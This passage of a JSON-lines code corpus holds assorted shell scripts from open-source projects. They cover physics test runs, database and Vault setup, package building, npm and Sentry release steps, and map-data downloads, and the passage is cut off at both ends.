${LOCAL_TEST_DIR}/patTuple_addDecayInFlight_cfg.py || die 'Failure using patTuple_addDecayInFlight_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_addBTagging_cfg.py || die 'Failure using patTuple_addBTagging_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_addJets_cfg.py || die 'Failure using patTuple_addJets_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_addTracks_cfg.py || die 'Failure using patTuple_addTracks_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_addTriggerInfo_cfg.py || die 'Failure using patTuple_addTriggerInfo_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_addVertexInfo_cfg.py || die 'Failure using patTuple_addVertexInfo_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_fastsim_cfg.py || die 'Failure using patTuple_fastsim_cfg.py' $?\n\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_topSelection_cfg.py || die 'Failure using patTuple_topSelection_cfg.py' $?\n\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_userData_cfg.py || die 'Failure using patTuple_userData_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_metUncertainties_cfg.py || die 'Failure using patTuple_metUncertainties_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_updateMet_fromMiniAOD_cfg.py || die 'Failure using patTuple_updateMet_fromMiniAOD_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_updateJets_fromMiniAOD_cfg.py || die 'Failure using patTuple_updateJets_fromMiniAOD_cfg.py' $?\n\n#---- disabled while the release is still open and changes to AOD event content are still allowed\n#cmsRun ${LOCAL_TEST_DIR}/patMiniAOD_standard_cfg.py || die 'Failure using patMiniAOD_standard_cfg.py' $?\n\n# Not needed in IBs\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyElectrons_cfg.py || die 'Failure using patTuple_onlyElectrons_cfg.py' $?\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyJets_cfg.py || die 'Failure using patTuple_onlyJets_cfg.py' $?\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyMET_cfg.py || die 'Failure using patTuple_onlyMET_cfg.py' $?\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyMuons_cfg.py || die 'Failure using patTuple_onlyMuons_cfg.py' $?\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyPhotons_cfg.py || die 'Failure using patTuple_onlyPhotons_cfg.py' $?\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_onlyTaus_cfg.py || die 'Failure using patTuple_onlyTaus_cfg.py' $?"} {"text": "gavindidrichsen/bash-toolbox\ninclude file.name.util.FileNameUtil\n\ninclude props.writer.PropsWriter\n\ninclude repo.Repo\n\n@class\nDefaultPortalPropsWriter(){\n\t@private\n\t_writeProps(){\n\t\tlocal keyValuePairs=($(readvar ${1}))\n\n\t\tfor keyValuePair in ${keyValuePairs[@]}; do\n\t\t\tlocal key=${keyValuePair%%=*}\n\n\t\t\tlocal value=${keyValuePair/${key}=/}\n\n\t\t\tPropsWriter setPortalProps ${branch} ${key} ${value}\n\t\tdone\n\t}\n\n\twriteBaseProps(){\n\t\tlocal bundleDir=$(Repo getBundleDir ${branch})\n\n\t\tlocal propsKeyValueList=(\n\t\t\tliferay.home=$(FileNameUtil getPath ${bundleDir})\n\t\t\tplugin.notifications.enabled=false\n\t\t\tindex.on.startup=false\n\t\t\tbrowser.launcher.url=\n\t\t\tsetup.wizard.enabled=false\n\t\t\tmail.session.jndi.name=\n\t\t\ttunnel.servlet.hosts.allowed=\n\t\t\tauth.verifier.TunnelAuthVerifier.hosts.allowed=\n\t\t\tjavascript.fast.load=false\n\t\t\tminifier.enabled=false\n\t\t)\n\n\t\t_writeProps propsKeyValueList\n\t}\n\n\twriteClusterProps(){\n\t\tlocal port=11311\n\n\t\tif [[ ${2} && ! ${2//[0-9]/} ]]; then\n\t\t\tlocal port=$((port+${2}))\n\t\tfi\n\n\t\tlocal propsKeyValueList=(\n\t\t\tcluster.link.autodetect.address=\n\t\t\tcluster.link.enabled=true\n\t\t\tdl.store.impl=com.liferay.portal.db.DBStore\n\t\t\tweb.server.display.node=true\n\t\t\tmodule.framework.properties.osgi.console=localhost:${port}\n\t\t)\n\n\t\t_writeProps propsKeyValueList\n\t}\n\n\twriteDatabaseProps(){\n\t\tlocal databaseName=lportal${branch//[-.]/}\n\t\tlocal driverClassName=\"com.mysql.jdbc.Driver\"\n\n\t\tif [[ ${branch} =~ master ]]; then\n\t\t\tlocal driverClassName=\"com.mysql.cj.jdbc.Driver\"\n\t\tfi\n\n\t\tlocal propsKeyValueList=(\n\t\t\tjdbc.default.jndi.name=\n\t\t\tjdbc.default.driverClassName=${driverClassName}\n\t\t\tjdbc.default.url=jdbc:mysql://localhost/${databaseName}?useUnicode=true\\&characterEncoding=UTF-8\\&useFastDateParsing=false\n\t\t\tjdbc.default.username=\n\t\t\tjdbc.default.password=\n\t\t)\n\n\t\t_writeProps propsKeyValueList\n\t}\n\n\tlocal branch=$(Repo getBranch ${2})\n\n\t$@\n}"} {"text": "0\n# You can put files here to add functionality separated per file, which\n# will be ignored by git.\n# Files on the custom/ directory will be automatically loaded by the init\n# script, in alphabetical order.\n\n# For example: add yourself some shortcuts to projects you often work on.\n#\n# brainstormr=~/Projects/development/planetargon/brainstormr\n# cd $brainstormr\n#\nbindkey -v\nstty -ixon\nbindkey '\\eOR' autosuggest-accept\nset keymap vi-command"} {"text": "hafixo/devstats\n#!/bin/bash\nset -o pipefail\nfunction finish {\n sync_unlock.sh\n}\nif [ -z \"$TRAP\" ]\nthen\n sync_lock.sh || exit -1\n trap finish EXIT\n export TRAP=1\nfi\n> errors.txt\n> run.log\nGHA2DB_PROJECT=k8gb PG_DB=k8gb GHA2DB_LOCAL=1 structure 2>>errors.txt | tee -a run.log || exit 1\n./devel/db.sh psql k8gb -c \"create extension if not exists pgcrypto\" || exit 1\nGHA2DB_PROJECT=k8gb PG_DB=k8gb GHA2DB_LOCAL=1 gha2db 2019-11-27 0 today now 'AbsaOSS/k8gb,AbsaOSS/ohmyglb' 2>>errors.txt | tee -a run.log || exit 2\nGHA2DB_PROJECT=k8gb PG_DB=k8gb GHA2DB_LOCAL=1 GHA2DB_MGETC=y GHA2DB_SKIPTABLE=1 GHA2DB_INDEX=1 structure 2>>errors.txt | tee -a run.log || exit 3\nGHA2DB_PROJECT=k8gb PG_DB=k8gb ./shared/setup_repo_groups.sh 2>>errors.txt | tee -a run.log || exit 4\nGHA2DB_PROJECT=k8gb PG_DB=k8gb ./shared/import_affs.sh 2>>errors.txt | tee -a run.log || exit 5\nGHA2DB_PROJECT=k8gb PG_DB=k8gb ./shared/setup_scripts.sh 2>>errors.txt | tee -a run.log || exit 6\nGHA2DB_PROJECT=k8gb PG_DB=k8gb ./shared/get_repos.sh 2>>errors.txt | tee -a run.log || exit 7\nGHA2DB_PROJECT=k8gb PG_DB=k8gb GHA2DB_LOCAL=1 vars || exit 8\n./devel/ro_user_grants.sh k8gb || exit 9\n./devel/psql_user_grants.sh devstats_team k8gb || exit 10"} {"text": "#!/bin/bash\n\necho Compiling modules\n\nrm -rf builds/modules/\nmkdir -p builds/modules/\n\nnode scripts/modules/compile_modules.js\n\nrm -rf compile"} {"text": "10-100\n#!/bin/sh\nCODE_HOME=$HOME/ExM/rdcep.git/code/Portfolio4S-2-bench\nexport TURBINE_USER_LIB=$CODE_HOME\n\nSCRIPT_DIR=`cd $(dirname $0); pwd`\n\n\n#if [ \"$2\" = OPCOUNT ]; then\n # Only run with three procs to reduce non-determinism\n# export PACT_PAR=3 \n#fi\n#cd $SUDOKU_HOME/puzzles\n\n\n# Case a:\nARGS=\"2 5 4 5 3 1 1 1 1 1 1 1 1\"\n# Case b:\n# ARGS=\"2 5 4 5 1 3 3 3 3 1 1 1 1\"\n# Case c:\n# ARGS=\"2 5 4 5 1 1 1 1 1 3 3 3 3\"\n\nexport STC_FLAGS=\"-I $CODE_HOME\"\n\n\"$SCRIPT_DIR/../scripts/opcount_bench.sh\" \"$1\" \"$2\" \"$CODE_HOME/PortCost4S.swift\" $ARGS"} {"text": "release/debpackage.sh\n#!/bin/bash\n# Copyright 2020 YourBase Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n\n# debpackage.sh builds a Debian binary package from the Go binary.\n# See https://tldp.org/HOWTO/html_single/Debian-Binary-Package-Building-HOWTO/\n\nset -euo pipefail\n\nif [[ $# -ne 0 ]]; then\n echo \"usage: VERSION=vX.Y.Z debpackage.sh\" 1>&2\n exit 64\nfi\n\n# Identify directories and create temporary staging directory.\noutdir=\"$( pwd )\"\nsrcroot=\"$(dirname \"$(dirname \"${BASH_SOURCE[0]}\")\" )\"\nstageroot=\"$(mktemp -d 2>/dev/null || mktemp -d -t yb_release)\"\ncleanup() {\n rm -rf \"$stageroot\"\n}\ntrap cleanup EXIT\n\n# Compute version.\nVERSION=\"${VERSION:-DEVELOPMENT}\"\ndebversion=\"${VERSION/#v/}\"\ndebversion=\"${debversion//-/\\~}\"\n\n# Verify that OS/architecture is something we handle.\nif [[ \"$( go env GOOS )\" != linux ]]; then\n echo \"Not running on Linux; quitting.\" 1>&2\n exit 1\nfi\ncase \"$( go env GOARCH )\" in\n amd64)\n debarch=\"amd64\"\n ;;\n *)\n echo \"TODO: Unknown architecture. GOARCH=$( go env GOARCH )\" 1>&2\n exit 1\n ;;\nesac\n\n# Stage Debian tree.\nmkdir -m 755 \\\n \"$stageroot/DEBIAN\" \\\n \"$stageroot/usr\" \\\n \"$stageroot/usr/bin\" \\\n \"$stageroot/usr/share\" \\\n \"$stageroot/usr/share/doc\" \\\n \"$stageroot/usr/share/doc/yb\" \\\n \"$stageroot/usr/share/bash-completion\" \\\n \"$stageroot/usr/share/bash-completion/completions\" \\\n \"$stageroot/usr/share/zsh\" \\\n \"$stageroot/usr/share/zsh/vendor-completions\"\ninstall -m 644 \"$srcroot/debian/control\" \"$stageroot/DEBIAN/control\"\nsed -i -e \"s/^Version:.*/Version: $debversion/\" \"$stageroot/DEBIAN/control\"\nsed -i -e \"s/^Architecture: any\\$/Architecture: $debarch/\" \"$stageroot/DEBIAN/control\"\ninstall -m 644 \"$srcroot/debian/copyright\" \"$stageroot/usr/share/doc/yb/copyright\"\n\"$srcroot/release/build.sh\" \"$stageroot/usr/bin/yb\"\nchmod 755 \"$stageroot/usr/bin/yb\"\n# Generate and stage shell completions.\n\"$stageroot/usr/bin/yb\" gen-complete -o \"$stageroot/usr/share/bash-completion/completions/yb\" bash\n\"$stageroot/usr/bin/yb\" gen-complete -o \"$stageroot/usr/share/zsh/vendor-completions/_yb\" zsh\nchmod 644 \\\n \"$stageroot/usr/share/bash-completion/completions/yb\" \\\n \"$stageroot/usr/share/zsh/vendor-completions/_yb\"\n\nmkdir -m 755 \\\n \"$stageroot/usr/share/lintian\" \\\n \"$stageroot/usr/share/lintian/overrides\"\ninstall -m 644 \\\n \"$srcroot/debian/yb.lintian-overrides\" \\\n \"$stageroot/usr/share/lintian/overrides/yb\"\n\n# Create binary package.\nfakeroot dpkg-deb --build \"$stageroot\" \"$outdir\" 1>&2\ndebfile=\"yb_${debversion}_${debarch}.deb\"\nlintian \"$debfile\" 1>&2\necho \"$debfile\""} {"text": "src/main/scripts/startup.sh0\n#!/bin/sh\njava -jar j-explorer.jar"} {"text": "build_helpers/publishPackage.sh\n#!/bin/bash\n# example usages:\n# ./publishPackage.sh\n# ./publishPackage.sh --latest\n# ./publishPackage.sh --beta\n\nset -e\n\n# Defaults that can be overridden in the CLI (except the cookie file)\nexport BETA=false\nexport LATEST=false\n\n# Parse flags\nwhile (( \"$#\" )); do\n opt=$1\n VALUE=$2\n # Make sure to shift here and any option that uses the $VALUE\n shift\n case $opt in\n --beta)\n BETA=true\n ;;\n\n --latest)\n LATEST=true\n ;;\n\n * ) # Invalid flag\n echo \"Invalid flag: $opt\"\n exit 192\n ;;\n esac\ndone\n\n# prompt next version\ncurrent_version=$(node -p \"require('./package').version\")\nprintf \"Next version (current is $current_version)? \"\nread next_version\n\nif ! [[ $next_version =~ ^[0-9]\\.[0-9]+\\.[0-9](-.+)? ]]; then\n echo \"Version must be a valid semver string, e.g. 1.0.2 or 2.3.0-beta.1\"\n exit 1\nfi\n\n# npm test -- --single-run\n\n# update references of current version to next version\necho \"$(node -p \"p=require('./package.json');p.version='${next_version}';JSON.stringify(p,null,2)\")\" > 'package.json'\nsed -i.DELETEME -e \"s/version = '$current_version';/version = '$next_version';/g\" src/*.js\nrm src/*.js.DELETEME\necho \"Updated version to ${next_version}\"\n\nnpm run build-dist\nnpm run build-npm\n\ngit add -A\ngit add -f dist/fixed-data-table-base.css\ngit add -f dist/fixed-data-table-style.css\ngit add -f dist/fixed-data-table.css\ngit add -f dist/fixed-data-table.js\ngit add -f dist/fixed-data-table-base.min.css\ngit add -f dist/fixed-data-table-style.min.css\ngit add -f dist/fixed-data-table.min.css\ngit add -f dist/fixed-data-table.min.js\n\nread -p \"Are you ready to publish? [Y/n] \" -r\necho\nif [[ ! $REPLY =~ ^[Yy]$ ]] && [[ ! $REPLY == \"\" ]]\nthen\n echo \"Exit by user\"\n exit 1\nfi\n\ngit commit -m \"Version $next_version\"\n\nnext_ref=\"v$next_version\"\n\necho \"Tagging $next_version\"\ngit tag \"$next_ref\"\ngit push origin \"$next_ref\"\n\necho \"Pushing release cut\"\ngit push\n\nif [ $BETA = true ]; then\n echo \"Publishing beta tag\"\n npm publish --tag beta\nelse\n echo \"Publishing $next_ref to npm\"\n npm publish\nfi\n\nif [ $LATEST = true ]; then\n echo \"Tagging\" $next_ref \"as 'latest'\"\n git tag latest -f\n git push origin latest -f\n\n echo \"Publishing latest tag to npm\"\n npm publish --tag latest\nfi"} {"text": "application-src/script-fail.sh\n#!@SHELL@\n\nif [ \"$1\" = \"support\" ]; then\n echo \"CONFIG YES\"\n echo \"HOST YES\"\n echo \"DISK YES\"\n echo \"MESSAGE-LINE YES\"\n echo \"EXECUTE-WHERE YES\"\n echo \"TIMESTAMP YES\"\n exit 0\nelse\n echo \"stderr error: \" $1 >&2\n exit 1\nfi"} {"text": "#!/bin/bash\n\n# To git clone into non-empty directory:\n# https://stackoverflow.com/a/33695754/209647\n\n\n# Move out of scripts dir\ncd ..\n\n# mainloop\ncd main/mainloop\ngit init .\ngit remote add origin https://github.com/bensherlock/micropython-usmart-sensor-mainloop.git\ngit pull origin master\ncd ../..\n\n# pybd_expansion\ncd main/pybd_expansion\ngit init .\ngit remote add origin https://github.com/bensherlock/micropython-pybd-expansion.git\ngit pull origin master\ncd ../..\n\n# sensor_payload\ncd main/sensor_payload\ngit init .\ngit remote add origin https://github.com/bensherlock/micropython-usmart-sensor-payload.git\ngit pull origin master\ncd ../..\n\n# uac_modem\ncd main/uac_modem\ngit init .\ngit remote add origin https://github.com/bensherlock/micropython-unm3-pybd.git\ngit pull origin master\ncd ../..\n\n# uac_network\ncd main/uac_network\ngit init .\ngit remote add origin https://github.com/bensherlock/micropython-usmart-network.git\ngit pull origin master\ncd ../.."} {"text": "scripts/test.sh\n#!/usr/bin/env bash\n\nset -ex\nnpm run docker:compose-test-up\nnpm run build:clean\nnpm run build\nnpm run build:test\n\n((npm run jasmine && npm run say:pass ; npm run docker:compose-test-down) \\\n || (npm run say:fail ; npm run docker:compose-test-down ; exit 1))"} {"text": "#!/bin/sh\n#\n# This script builds the settings.ini file used with the Phoebus tools.\n# These settings are responsible for passing the EPICS environment variables to the server.\n# \n#\n# Copyright @2021 SLAC National Accelerator Laboratory\n\n\nif [ $# -ne 1 ]\nthen\n echo \"Usage: create_settings.sh filename\"\n exit 1\nfi\n\nfilename=$1\n\necho \"# ----------------------\" >> $filename\necho \"# Package org.phoebus.pv\" >> $filename\necho \"# ----------------------\" >> $filename\necho \"org.phoebus.pv/default=ca\" >> $filename\n\n\necho \"\" >> $filename\necho \"\" >> $filename\n\necho \"# -------------------------\" >> $filename\necho \"# Package org.phoebus.pv.ca\" >> $filename\necho \"# -------------------------\" >> $filename\necho \"org.phoebus.pv.ca/addr_list=${EPICS_CA_ADDR_LIST}\" >> $filename\necho \"org.phoebus.pv.ca/auto_addr_list=$(echo ${EPICS_CA_AUTO_ADDR_LIST} | tr '[:upper:]' '[:lower:]')\" >> $filename\necho \"org.phoebus.pv.ca/server_port=${EPICS_CA_SERVER_PORT}\" >> $filename\necho \"org.phoebus.pv.ca/repeater_port=${EPICS_CA_REPEATER_PORT}\" >> $filename\necho \"org.phobues.pv.ca/max_array_bytes=${EPICS_CA_MAX_ARRAY_BYTES}\" >> $filename\necho \"org.phoebus.pv.ca/addr_list=${EPICS_CA_ADDR_LIST}\" >> $filename\necho \"org.phoebus.pv.ca/connection_timeout=${EPICS_CA_CONN_TMO}\" >> $filename\necho \"org.phoebus.pv.ca/beacon_period=${EPICS_CA_BEACON_PERIOD}\" >> $filename\n\n# Support variable length arrays?\n# auto, true, false\necho \"org.phoebus.pv.ca/variable_length_array=auto\" >> $filename\n\n# Connect at lower priority for arrays\n# with more elements than this threshold\necho \"org.phoebus.pv.ca/large_array_threshold=100000\" >> $filename\n\n# Is the DBE_PROPERTY subscription supported\n# to monitor for changes in units, limits etc?\necho \"org.phoebus.pv.ca/dbe_property_supported=false\" >> $filename\n\n# Mask to use for subscriptions\n# VALUE, ALARM, ARCHIVE\necho \"org.phoebus.pv.ca/monitor_mask=VALUE\" >> $filename\n\n# Name server list\necho \"org.phoebus.pv.ca/name_servers=\" >> $filename"} {"text": "AlexLiue/nexus-repository-import-scripts\n#!/bin/bash\n\n# Get command line params\nwhile getopts \":r:k:\" opt; do\n\tcase $opt in\n\t\tr) REPO_URL=\"$OPTARG\"\n\t\t;;\n\t\tk) APIKEY=\"$OPTARG\"\n\t\t;;\n\tesac\ndone\n\nfind . -type f -not -path '*/\\.*' -name '*.nupkg' -exec nuget push {} $APIKEY -Source $REPO_URL \\;"} {"text": "jwill24/TimingTimingAnalyzer/macros/scripts/skimAndMerge/loops/skimAndMerge_ZJetsHTLoop.sh\n#!/bin/bash\n\nsource scripts/skimAndMerge/common_variables.sh\n\n## input\nlabel=${1:-\"bkgd\"}\ntune=${2:-\"13TeV-madgraph\"}\n\nfor bin in 100To200 200To400 400To600 600To800 800To1200 1200To2500 2500ToInf\ndo\n nohup ./scripts/skimAndMerge/skimAndMerge_ZJetsHTBin.sh ${label} ${tune} ${bin} >& ZJets_HT_${bin}_Skim.log &\ndone"} {"text": "G4V/ck-env10-100\n#! /bin/bash\n\n#\n# Collective Knowledge (CK)\n#\n# See CK LICENSE.txt for licensing details.\n# See CK COPYRIGHT.txt for copyright details.\n#\n# Developer: , , 2018\n#\n\n# Check the source directory.\nif [ -d \"${CK_REPOS}\" ]; then\n source_dir=${CK_REPOS}\nelif [ -d \"${HOME}/CK\" ]; then\n source_dir=${CK_REPOS}/CK\nelif [ -d \"${HOME}/ck\" ]; then\n source_dir=${CK_REPOS}/ck\nelse\n echo \"Please specify the source directory via CK_REPOS!\"\n exit\nfi\n\n# Check the target directory.\nif [ -d \"${CK_BACKUP}\" ]; then\n target_dir=${CK_BACKUP}\nelse\n echo \"Please specify the target directory via CK_BACKUP! (If it does not exist, please create it first.)\"\n exit\nfi\n\n# Proceeed if both the source and target directories exist.\necho \"Saving CK repositories in '${source_dir}/' to '${target_dir}/' ...\"\necho\n\n# for all files\nfor file in ${source_dir}/* ; do\n if [[ -d ${file} ]]; then\n # only for dirs\n dir=${file}\n repo=$(basename ${dir})\n arch=${target_dir}/${repo}.zip\n echo \"- archiving '${repo}' into '${arch}':\"\n # Use '--all' to save with .git information.\n ck zip repo:${repo} --archive_name=${arch} --all\n du -hs ${dir}\n du -hs ${arch}\n echo\n # Good place to break for testing (after the first archived repo).\n #break\n fi\ndone\n\n# Report the total size of archived repos.\necho \"Total size:\"\ndu -hs ${target_dir}\necho"} {"text": "#!/usr/bin/env bash\n\nIFACE=`route -n | awk '$1 == \"192.168.2.0\" {print $8}'`\nCIDR=`ip addr show ${IFACE} | awk '$2 ~ \"192.168.2\" {print $2}'`\nIP=${CIDR%%/24}\n\nif [ -d /vagrant ]; then\n LOG=\"/vagrant/logs/vault_${HOSTNAME}.log\"\nelse\n LOG=\"vault.log\"\nfi\n\nwhich vault &>/dev/null || {\n echo \"Determining Vault version to install ...\"\n\n # Vault is expected to be present in /vagrant/pkg\n # Naming convention is vault-enterprise_1.2.2+prem_linux_amd64\n\n vault_package_file=`ls /vagrant/pkg/vault_1.3.1_linux_amd64.zip | sort -r | head -1`\n\n if [ -f \"${vault_package_file}\" ]; then\n echo \"Installing Vault\"\n pushd /tmp\n unzip ${vault_package_file}\n sudo chmod +x vault\n sudo mv vault /usr/local/bin/vault\n\n else\n echo No vault package found....exiting.\n exit 1\n fi\n}\nif [[ \"${HOSTNAME}\" =~ \"leader\" ]] ; then\n #lets kill past instance\n sudo killall vault &>/dev/null\n\n #lets delete old consul storage\n sudo consul kv delete -recurse vault\n\n #delete old token if present\n [ -f /root/.vault-token ] && sudo rm /root/.vault-token\n\n #start vault\n sudo cp /vagrant/etc/consul.d/client2.json /etc/consul.d/\n #sudo /usr/local/bin/vault server -log-level=trace -config /vagrant/etc/vault/vault_conf_1.hcl -dev -dev-listen-address=${IP}:8200 &> ${LOG} &\n sudo /usr/local/bin/vault server -config /vagrant/etc/vault/vault_conf_1.hcl &> ${LOG} &\n echo vault started\n sleep 3 \n\n\n # echo \"vault token:\"\n # cat /root/.vault-token\n # echo -e \"\\nvault token is on /root/.vault-token\"\n\n\n \n # enable secret KV version 1\n #sudo VAULT_ADDR=\"http://${IP}:8200\" vault secrets enable -version=1 kv\n #grep VAULT_TOKEN ~/.bash_profile || {\n # echo export VAULT_TOKEN=\\`cat /root/.vault-token\\` | sudosensitive data. \n # echo export VAULT_ADDR=http://${IP}:8200 | sudo tee -a ~/.bash_profile\n #}\n \n\nfi"} {"text": "backmeup/backmeup-plugins\nrm /cygdrive/c/data/backmeup-service/plugins/sftp-2.0.0-SNAPSHOT.jar\r\nrm /cygdrive/c/data/backmeup-worker/plugins/sftp-2.0.0-SNAPSHOT.jar\r\nrm ../autodeploy/sftp-2.0.0-SNAPSHOT.jar\r\nmvn -DskipTests clean install\r\nsleep 5\r\ncp ../autodeploy/sftp-2.0.0-SNAPSHOT.jar /cygdrive/c/data/backmeup-service/plugins/\r\ncp ../autodeploy/sftp-2.0.0-SNAPSHOT.jar /cygdrive/c/data/backmeup-worker/plugins/\r\n\r\n#cp ./target/sftp-2.0.0-SNAPSHOT.jar /cygdrive/c/data/backmeup-service/plugins/"} {"text": "#!/usr/bin/env bash\n\nINPUT_FILE=gemeenten.json\nOUTPUT_FILE=gemeenten-simple.json\nif [[ ! -f \"$INPUT_FILE\" ]]; then\n curl -s \"https://service.pdok.nl/kadaster/bestuurlijkegebieden/wfs/v1_0?request=GetFeature&service=wfs&outputFormat=application/json&version=2.0.0&typeName=bestuurlijkegebieden:Gemeentegebied\" -o $INPUT_FILE\n jq -c \".\" < $INPUT_FILE | sponge $INPUT_FILE\nelse\n echo \"$INPUT_FILE exists, skipping download\"\nfi\n\nrm -f $OUTPUT_FILE\nndjson-split 'd.features' < gemeenten.json | \\\n geo2topo -n gemeenten=- | \\\n toposimplify -p 15000 -f | \\\n topoquantize 1e4 | \\\n topo2geo gemeenten=- | \\\n ogr2ogr -f GeoJSON $OUTPUT_FILE /vsistdin/ \"\" -a_srs EPSG:28992 -nln gemeenten\ncp $OUTPUT_FILE /mnt/c/Users/arbak/Downloads"} {"text": "bin/download_and_convert_german-states.sh\n#!/bin/bash\n#*******************************************************************************\n#\n# Copyright (C) 2015-2018 the BBoxDB project\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License. \n# \n#*******************************************************************************\n\n# The base url\nbaseurl=\"http://download.geofabrik.de/europe/germany/\"\n\n# The regions to download\nregions=\"baden-wuerttemberg bayern berlin brandenburg bremen hamburg hessen mecklenburg-vorpommern niedersachsen nordrhein-westfalen rheinland-pfalz saarland sachsen sachsen-anhalt schleswig-holstein thueringen\"\n\n# outputfolder\noutputfolder=\"/BIG/nidzwetzki/tmp/work\"\n\nif [ ! -d $outputfolder ]; then\n mkdir $outputfolder\nfi\n\ncd $outputfolder\n\nworkfolder=\"/BIG/nidzwetzki/tmp/importosm\"\n\n# Import the regions\nfor region in $regions; do\n\n if [ -d $workfolder ]; then\n rm -r $workfolder\n fi\n\n mkdir $workfolder\n\n # Download the region if needed\n if [ ! -d $region ]; then\n mkdir $region\n cd $region\n filename=\"$region-latest.osm.pbf\"\n echo \"Downloading region $region\"\n wget $baseurl/$filename\n\n $BBOXDB_HOME/bin/osm_data_converter.sh -input $outputfolder/$region/$filename -backend bdb -workfolder $workfolder -output $outputfolder/$region/osm\n cd ..\n fi\ndone"} {"text": "svekko/nsh\n# Break from a nested for & if.\nfor x in loop1----- loop2----- loop3------\ndo\n echo $x\n for y in a b b b c d e f g\n do\n if [ $y = e ]\n then\n if [ 1 -eq 1 ]\n then\n break\n fi\n fi\n\n if [ $y = b ]\n then\n continue\n fi\n\n echo $y\n done\ndone"} {"text": "scripts/border_maker.sh\n#!/bin/bash\ncd /var/www/game103/images/icons/games/\nFILES=/var/www/game103/images/icons/games/*\nfor f in $FILES\ndo\n echo $f\n NAME=$(basename $f)\n WIDTH=$(identify -format \"%w\" $f)\n BORDER=`expr 200 - $WIDTH`\n BORDER=`expr $BORDER + 1`\n BORDER=`expr $BORDER / 2`\n if (( $BORDER > 0 )); then\n BORDER_CONFIG=\"$BORDER\"\n BORDER_CONFIG+=\"x\"\n BORDER_CONFIG+=\"$BORDER\"\n convert -bordercolor '#4E85DB' $f -border $BORDER_CONFIG bordered/$NAME\n fi\ndone"} {"text": "build/test.sh1-10\n#!/bin/bash\nset -e\n\ndotnet test --no-build --configuration Release -p:CollectCoverage=true -p:CoverletOutput=\"../opencover.xml\" -p:CoverletOutputFormat=opencover tests/Utility.CommandLine.Progress.Tests -p:Include=\"[Utility.CommandLine.Progress*]*\" -p:Exclude=\"[*.Tests]*\""} {"text": "g++ -Winconsistent-missing-override -std=c++11 src/main.cpp libatr/*.cpp -o AtrCompiler\n#g++ -Wc++11-extensions src/main.cpp libatr/*.cpp -o AtrCompiler\n#gcc -Wc++11-extensions src/main.cpp libatr/*.cpp -o AtrCompiler"} {"text": "0\n#!/bin/sh\n\nset -ex\n\necho \"Index: $PIP_INDEX_URL\"\n\nfor pydir in /opt/python/*; do\n\t$pydir/bin/python -m pip install -r requirements/tests.txt\n\t$pydir/bin/python -m pip install \\\n\t\t--only-binary=:all: \\\n\t\tpython-mbedtls\n\t$pydir/bin/python -B -m pytest\ndone\n\n/opt/python/*36*/bin/python -B -m doctest README.rst"} {"text": "npm publish --registry=https://registry.npmjs.org\nnpm publish --registry=https://npm.pkg.github.com/lvgithub"} {"text": "#!/bin/bash\n\n# for scaling evaluation on abci hpc\n\n# repeate N times\n\nN=1\n\necho \"#########################\"\necho \"each job repeat $N times\"\njobs=\"resnet50 resnet200 resnet1001 wrn vgg16 megatron\"\n\nfunction run_job(){\n\tpushd jobs/get-datasets\n\t\t./clear.sh\n\t\tpython3 gen-jobs.py $1\n\tpopd\n}\n\n\necho $#\n\nfor s in resnet50 resnet200 resnet1001 wrn vgg16 megatron; do\t\n\tif [ $# -eq 1 ]; then\n\t\tif [ \"$s\" == \"$1\" ]; then\n\t\t\techo \"run all models : $s\"\n\t\telse\n\t\t\tcontinue\n\t\tfi\n\tfi\n\trun_job $s\n\tbatch-sub-jobs.sh $N\n\n\techo \"$s result is in folder test\"\n\tmkdir -p test\n\tmkdir -p test/$s\n\tmv *.t1 test/$s\n\tmv *.t2 test/$s\n\tmv abci.job.run.* test$s\ndone"} {"text": "x19e/admin-scripts\n#!/bin/bash\n# updates the PCI ID database\n\nDOWNLOAD_URL=\"https://github.com/pciutils/pciids/raw/master/pci.ids\"\n# DOWNLOAD_URL=\"http://pci-ids.ucw.cz/v2.2/pci.ids\"\n\nhash wget 2>/dev/null || { echo >&2 \"You need to install wget. Aborting.\"; exit 1; }\n\n# download the database\nwget -N $DOWNLOAD_URL"} {"text": "0\ncp com.zanon.getmypublicip.plist ~/Library/LaunchAgents/\nlaunchctl load ~/Library/LaunchAgents/com.zanon.getmypublicip.plist"} {"text": "deploy/sentry-pre-release.sh\n#!/bin/bash\n\n# Assumes you're in a git repository and have the required env vars;\n# SENTRY_AUTH_TOKEN\n# SENTRY_ORG\n# SENTRY_PROJECT\nVERSION=$(sentry-cli releases propose-version) \n\n# Create a release\nsentry-cli releases new -p $SENTRY_PROJECT $VERSION\n\n# Associate commits with the release\nsentry-cli releases set-commits --auto $VERSION"} {"text": "#!/bin/bash\n\nrm -f LICENSE\nrm -f README.md\nln -s 